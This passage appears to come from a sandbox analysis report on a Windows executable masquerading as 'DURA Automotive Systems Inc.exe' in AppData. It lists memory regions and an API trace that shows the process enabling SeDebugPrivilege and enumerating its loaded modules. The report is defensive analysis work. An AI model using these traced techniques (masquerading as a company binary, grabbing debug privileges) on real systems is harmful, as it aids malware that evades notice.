	          end_va = 0x7aefff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006d0000"
	        filename = ""

Region:
	              id = 1999
	        start_va = 0x1f0000
	          end_va = 0x1f2fff
	     entry_point = 0x1f0000
	     region_type = mapped_file
	            name = "l_intl.nls"
	        filename = "\\Windows\\SysWOW64\\l_intl.nls" (normalized: "c:\\windows\\syswow64\\l_intl.nls")

Region:
	              id = 2000
	        start_va = 0x200000
	          end_va = 0x200fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000200000"
	        filename = ""

Region:
	              id = 2001
	        start_va = 0x74450000
	          end_va = 0x744aafff
	     entry_point = 0x74450000
	     region_type = mapped_file
	            name = "mscorjit.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")

Region:
	              id = 2013
	        start_va = 0x210000
	          end_va = 0x21ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 2014
	        start_va = 0x480000
	          end_va = 0x48ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000480000"
	        filename = ""

Region:
	              id = 2015
	        start_va = 0x73b10000
	          end_va = 0x73caafff
	     entry_point = 0x73b10000
	     region_type = mapped_file
	            name = "microsoft.visualbasic.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")

Region:
	              id = 2016
	        start_va = 0x73cb0000
	          end_va = 0x7444bfff
	     entry_point = 0x73cb0000
	     region_type = mapped_file
	            name = "system.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")

Region:
	              id = 2017
	        start_va = 0x220000
	          end_va = 0x230fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000220000"
	        filename = ""

Region:
	              id = 2018
	        start_va = 0x460000
	          end_va = 0x464fff
	     entry_point = 0x460000
	     region_type = mapped_file
	            name = "sorttbls.nlp"
	        filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp")

Region:
	              id = 2019
	        start_va = 0x470000
	          end_va = 0x470fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000470000"
	        filename = ""

Region:
	              id = 2020
	        start_va = 0x490000
	          end_va = 0x4d0fff
	     entry_point = 0x490000
	     region_type = mapped_file
	            name = "sortkey.nlp"
	        filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp")

Region:
	              id = 2021
	        start_va = 0x60340000
	          end_va = 0x60347fff
	     entry_point = 0x60340000
	     region_type = mapped_file
	            name = "culture.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\culture.dll")

Region:
	              id = 2022
	        start_va = 0x470000
	          end_va = 0x47ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000470000"
	        filename = ""

Region:
	              id = 2023
	        start_va = 0x4e0000
	          end_va = 0x4e5fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004e0000"
	        filename = ""

Region:
	              id = 2024
	        start_va = 0x1f90000
	          end_va = 0x1fe3fff
	     entry_point = 0x1f90000
	     region_type = mapped_file
	            name = "mscorrc.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorrc.dll")

Region:
	              id = 2025
	        start_va = 0x2010000
	          end_va = 0x204ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002010000"
	        filename = ""

Region:
	              id = 2026
	        start_va = 0x4990000
	          end_va = 0x4a8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004990000"
	        filename = ""

Region:
	              id = 2027
	        start_va = 0x750f0000
	          end_va = 0x750f4fff
	     entry_point = 0x750f0000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")

Region:
	              id = 2028
	        start_va = 0x7efad000
	          end_va = 0x7efaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efad000"
	        filename = ""

Region:
	              id = 2029
	        start_va = 0x44b0000
	          end_va = 0x45affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000044b0000"
	        filename = ""

Region:
	              id = 2030
	        start_va = 0x4f0000
	          end_va = 0x4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000004f0000"
	        filename = ""

Region:
	              id = 2031
	        start_va = 0x4a90000
	          end_va = 0x4c8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004a90000"
	        filename = ""

Region:
	              id = 2032
	        start_va = 0x600000
	          end_va = 0x60ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000600000"
	        filename = ""

Region:
	              id = 2083
	        start_va = 0x46c0000
	          end_va = 0x46fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000046c0000"
	        filename = ""

Region:
	              id = 2084
	        start_va = 0x4780000
	          end_va = 0x47bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004780000"
	        filename = ""

Region:
	              id = 2085
	        start_va = 0x4cb0000
	          end_va = 0x4daffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004cb0000"
	        filename = ""

Region:
	              id = 2086
	        start_va = 0x7efaa000
	          end_va = 0x7efacfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efaa000"
	        filename = ""

Region:
	              id = 2125
	        start_va = 0x48e0000
	          end_va = 0x491ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000048e0000"
	        filename = ""

Region:
	              id = 2126
	        start_va = 0x4ec0000
	          end_va = 0x4fbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ec0000"
	        filename = ""

Region:
	              id = 2127
	        start_va = 0x7efa7000
	          end_va = 0x7efa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa7000"
	        filename = ""

Region:
	              id = 2128
	        start_va = 0x74d30000
	          end_va = 0x74d45fff
	     entry_point = 0x74d30000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")

Region:
	              id = 2129
	        start_va = 0x2080000
	          end_va = 0x20bbfff
	     entry_point = 0x2080000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 2130
	        start_va = 0x2080000
	          end_va = 0x20bbfff
	     entry_point = 0x2080000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 2131
	        start_va = 0x2080000
	          end_va = 0x20bbfff
	     entry_point = 0x2080000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 2132
	        start_va = 0x2080000
	          end_va = 0x20bbfff
	     entry_point = 0x2080000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 2133
	        start_va = 0x2080000
	          end_va = 0x20bbfff
	     entry_point = 0x2080000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 2134
	        start_va = 0x738d0000
	          end_va = 0x7390afff
	     entry_point = 0x738d0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 2135
	        start_va = 0x74d00000
	          end_va = 0x74d0dfff
	     entry_point = 0x74d00000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll")


Thread:
	id = 143
	os_tid = 0x534

	[0171.130] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0171.200] GetVersionExW (in: lpVersionInformation=0x53db70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x53db70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0171.200] GetLastError () returned 0x0
	[0171.201] GetVersionExW (in: lpVersionInformation=0x53db70*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x53db70*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0171.201] GetLastError () returned 0x0
	[0171.208] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", nBufferLength=0x105, lpBuffer=0x33e598, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", lpFilePart=0x0) returned 0x3e
	[0171.208] GetLastError () returned 0x0
	[0171.846] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", nBufferLength=0x105, lpBuffer=0x33e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", lpFilePart=0x0) returned 0x5d
	[0171.846] GetLastError () returned 0x2
	[0171.850] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", nBufferLength=0x105, lpBuffer=0x33e58c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", lpFilePart=0x0) returned 0x5d
	[0171.850] GetLastError () returned 0x2
	[0171.855] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", nBufferLength=0x105, lpBuffer=0x33e554, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", lpFilePart=0x0) returned 0x3e
	[0171.855] GetLastError () returned 0x2
	[0171.860] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", nBufferLength=0x105, lpBuffer=0x33e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", lpFilePart=0x0) returned 0x3e
	[0171.860] GetLastError () returned 0x2
	[0171.860] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", nBufferLength=0x105, lpBuffer=0x33e58c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", lpFilePart=0x0) returned 0x3e
	[0171.860] GetLastError () returned 0x2
	[0173.329] GetACP () returned 0x4e4
	[0173.706] GetVersionExW (in: lpVersionInformation=0x5404f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x5404f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0173.706] GetLastError () returned 0x0
	[0173.707] SetErrorMode (uMode=0x1) returned 0x0
	[0173.708] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe.config" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x33e4b4 | out: lpFileInformation=0x33e4b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0173.708] GetLastError () returned 0x2
	[0173.708] SetErrorMode (uMode=0x0) returned 0x1
	[0174.129] lstrlenW (lpString="䅁") returned 1
	[0174.204] CoCreateGuid (in: pguid=0x33d870 | out: pguid=0x33d870*(Data1=0x9e9e9290, Data2=0xdfa7, Data3=0x4bb6, Data4=([0]=0x86, [1]=0xc4, [2]=0xd2, [3]=0xa9, [4]=0xe2, [5]=0x2f, [6]=0x26, [7]=0xc1))) returned 0x0
	[0174.250] CoCreateGuid (in: pguid=0x33ddf4 | out: pguid=0x33ddf4*(Data1=0x61b4f352, Data2=0x5e3e, Data3=0x4240, Data4=([0]=0xad, [1]=0x64, [2]=0x78, [3]=0x48, [4]=0x89, [5]=0x8e, [6]=0xce, [7]=0xc4))) returned 0x0
	[0174.276] CoCreateGuid (in: pguid=0x33ddf4 | out: pguid=0x33ddf4*(Data1=0x4ab4fbc, Data2=0x4f1c, Data3=0x4827, Data4=([0]=0xb3, [1]=0x3d, [2]=0x9e, [3]=0x5, [4]=0x5c, [5]=0x13, [6]=0xe5, [7]=0x38))) returned 0x0
	[0174.423] lstrlenW (lpString="䅁") returned 1
	[0174.455] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x5404d8, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21
	[0174.455] GetLastError () returned 0x0
	[0174.604] GetCurrentProcessId () returned 0x530
	[0174.616] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x33d87c | out: lpLuid=0x33d87c*(LowPart=0x14, HighPart=0)) returned 1
	[0174.621] GetLastError () returned 0x0
	[0174.622] GetCurrentProcess () returned 0xffffffff
	[0174.622] GetLastError () returned 0x0
	[0174.624] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x33d878 | out: TokenHandle=0x33d878*=0x1e4) returned 1
	[0174.624] GetLastError () returned 0x0
	[0174.627] AdjustTokenPrivileges (in: TokenHandle=0x1e4, DisableAllPrivileges=0, NewState=0x25173e0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0174.627] GetLastError () returned 0x514
	[0174.628] CloseHandle (hObject=0x1e4) returned 1
	[0174.628] GetLastError () returned 0x514
	[0174.640] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x530) returned 0x1e4
	[0174.640] GetLastError () returned 0x514
	[0174.648] EnumProcessModules (in: hProcess=0x1e4, lphModule=0x2517d7c, cb=0x100, lpcbNeeded=0x33e000 | out: lphModule=0x2517d7c, lpcbNeeded=0x33e000) returned 1
	[0174.649] GetLastError () returned 0x514
	[0174.652] GetModuleInformation (in: hProcess=0x1e4, hModule=0xb0000, lpmodinfo=0x2517ebc, cb=0xc | out: lpmodinfo=0x2517ebc*(lpBaseOfDll=0xb0000, SizeOfImage=0x40000, EntryPoint=0xe80ce)) returned 1
	[0174.652] GetLastError () returned 0x514
	[0174.654] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0xb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="DURA Automotive Systems Inc.exe") returned 0x1f
	[0174.654] GetLastError () returned 0x514
	[0174.655] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0xb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")) returned 0x5d
	[0174.656] GetLastError () returned 0x514
	[0174.656] GetModuleInformation (in: hProcess=0x1e4, hModule=0x77230000, lpmodinfo=0x251907c, cb=0xc | out: lpmodinfo=0x251907c*(lpBaseOfDll=0x77230000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0174.656] GetLastError () returned 0x514
	[0174.656] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x77230000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0174.656] GetLastError () returned 0x514
	[0174.656] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x77230000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0174.657] GetLastError () returned 0x514
	[0174.657] GetModuleInformation (in: hProcess=0x1e4, hModule=0x73910000, lpmodinfo=0x251a170, cb=0xc | out: lpmodinfo=0x251a170*(lpBaseOfDll=0x73910000, SizeOfImage=0x4a000, EntryPoint=0x73912e54)) returned 1
	[0174.657] GetLastError () returned 0x514
	[0174.657] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x73910000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0174.657] GetLastError () returned 0x514
	[0174.658] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x73910000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0174.658] GetLastError () returned 0x514
	[0174.658] GetModuleInformation (in: hProcess=0x1e4, hModule=0x75960000, lpmodinfo=0x251b26c, cb=0xc | out: lpmodinfo=0x251b26c*(lpBaseOfDll=0x75960000, SizeOfImage=0x110000, EntryPoint=0x759732d3)) returned 1
	[0174.658] GetLastError () returned 0x514
	[0174.658] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x75960000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0174.658] GetLastError () returned 0x514
	[0174.658] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x75960000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0174.659] GetLastError () returned 0x514
	[0174.659] GetModuleInformation (in: hProcess=0x1e4, hModule=0x768a0000, lpmodinfo=0x251c370, cb=0xc | out: lpmodinfo=0x251c370*(lpBaseOfDll=0x768a0000, SizeOfImage=0x46000, EntryPoint=0x768a7478)) returned 1
	[0174.659] GetLastError () returned 0x514
	[0174.659] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x768a0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0174.659] GetLastError () returned 0x514
	[0174.659] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x768a0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0174.660] GetLastError () returned 0x514
	[0174.660] GetModuleInformation (in: hProcess=0x1e4, hModule=0x75690000, lpmodinfo=0x251d4ac, cb=0xc | out: lpmodinfo=0x251d4ac*(lpBaseOfDll=0x75690000, SizeOfImage=0xa0000, EntryPoint=0x756a49e5)) returned 1
	[0174.660] GetLastError () returned 0x514
	[0174.660] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x75690000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0174.660] GetLastError () returned 0x514
	[0174.660] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x75690000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0174.661] GetLastError () returned 0x514
	[0174.661] GetModuleInformation (in: hProcess=0x1e4, hModule=0x755e0000, lpmodinfo=0x251e5b0, cb=0xc | out: lpmodinfo=0x251e5b0*(lpBaseOfDll=0x755e0000, SizeOfImage=0xac000, EntryPoint=0x755ea472)) returned 1
	[0174.661] GetLastError () returned 0x514
	[0174.661] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x755e0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0174.661] GetLastError () returned 0x514
	[0174.661] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x755e0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0174.661] GetLastError () returned 0x514
	[0174.662] GetModuleInformation (in: hProcess=0x1e4, hModule=0x767f0000, lpmodinfo=0x251f6ac, cb=0xc | out: lpmodinfo=0x251f6ac*(lpBaseOfDll=0x767f0000, SizeOfImage=0x19000, EntryPoint=0x767f4975)) returned 1
	[0174.662] GetLastError () returned 0x514
	[0174.662] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x767f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0174.662] GetLastError () returned 0x514
	[0174.662] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x767f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0174.662] GetLastError () returned 0x514
	[0174.662] GetModuleInformation (in: hProcess=0x1e4, hModule=0x74ec0000, lpmodinfo=0x25207a8, cb=0xc | out: lpmodinfo=0x25207a8*(lpBaseOfDll=0x74ec0000, SizeOfImage=0xf0000, EntryPoint=0x74ed0569)) returned 1
	[0174.663] GetLastError () returned 0x514
	[0174.663] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x74ec0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0174.663] GetLastError () returned 0x514
	[0174.663] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x74ec0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0174.663] GetLastError () returned 0x514
	[0174.663] GetModuleInformation (in: hProcess=0x1e4, hModule=0x74d90000, lpmodinfo=0x25218f4, cb=0xc | out: lpmodinfo=0x25218f4*(lpBaseOfDll=0x74d90000, SizeOfImage=0x60000, EntryPoint=0x74daa3b3)) returned 1
	[0174.664] GetLastError () returned 0x514
	[0174.664] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x74d90000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0174.664] GetLastError () returned 0x514
	[0174.664] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x74d90000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0174.664] GetLastError () returned 0x514
	[0174.665] GetModuleInformation (in: hProcess=0x1e4, hModule=0x74d80000, lpmodinfo=0x25229f0, cb=0xc | out: lpmodinfo=0x25229f0*(lpBaseOfDll=0x74d80000, SizeOfImage=0xc000, EntryPoint=0x74d810e1)) returned 1
	[0174.665] GetLastError () returned 0x514
	[0174.665] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x74d80000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0174.665] GetLastError () returned 0x514
	[0174.665] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x74d80000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0174.666] GetLastError () returned 0x514
	[0174.666] GetModuleInformation (in: hProcess=0x1e4, hModule=0x736f0000, lpmodinfo=0x2523af4, cb=0xc | out: lpmodinfo=0x2523af4*(lpBaseOfDll=0x736f0000, SizeOfImage=0x7a000, EntryPoint=0x736f1f48)) returned 1
	[0174.666] GetLastError () returned 0x514
	[0174.666] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x736f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0174.666] GetLastError () returned 0x514
	[0174.667] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x736f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0174.667] GetLastError () returned 0x514
	[0174.667] GetModuleInformation (in: hProcess=0x1e4, hModule=0x76bd0000, lpmodinfo=0x2524c2c, cb=0xc | out: lpmodinfo=0x2524c2c*(lpBaseOfDll=0x76bd0000, SizeOfImage=0x57000, EntryPoint=0x76be9ba6)) returned 1
	[0174.667] GetLastError () returned 0x514
	[0174.668] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x76bd0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0174.668] GetLastError () returned 0x514
	[0174.668] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x76bd0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0174.668] GetLastError () returned 0x514
	[0174.668] GetModuleInformation (in: hProcess=0x1e4, hModule=0x758d0000, lpmodinfo=0x2525d28, cb=0xc | out: lpmodinfo=0x2525d28*(lpBaseOfDll=0x758d0000, SizeOfImage=0x90000, EntryPoint=0x758e6343)) returned 1
	[0174.669] GetLastError () returned 0x514
	[0174.669] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x758d0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0174.670] GetLastError () returned 0x514
	[0174.670] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x758d0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0174.670] GetLastError () returned 0x514
	[0174.670] GetModuleInformation (in: hProcess=0x1e4, hModule=0x76ad0000, lpmodinfo=0x2526e1c, cb=0xc | out: lpmodinfo=0x2526e1c*(lpBaseOfDll=0x76ad0000, SizeOfImage=0x100000, EntryPoint=0x76aeb6ed)) returned 1
	[0174.670] GetLastError () returned 0x514
	[0174.671] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x76ad0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0174.671] GetLastError () returned 0x514
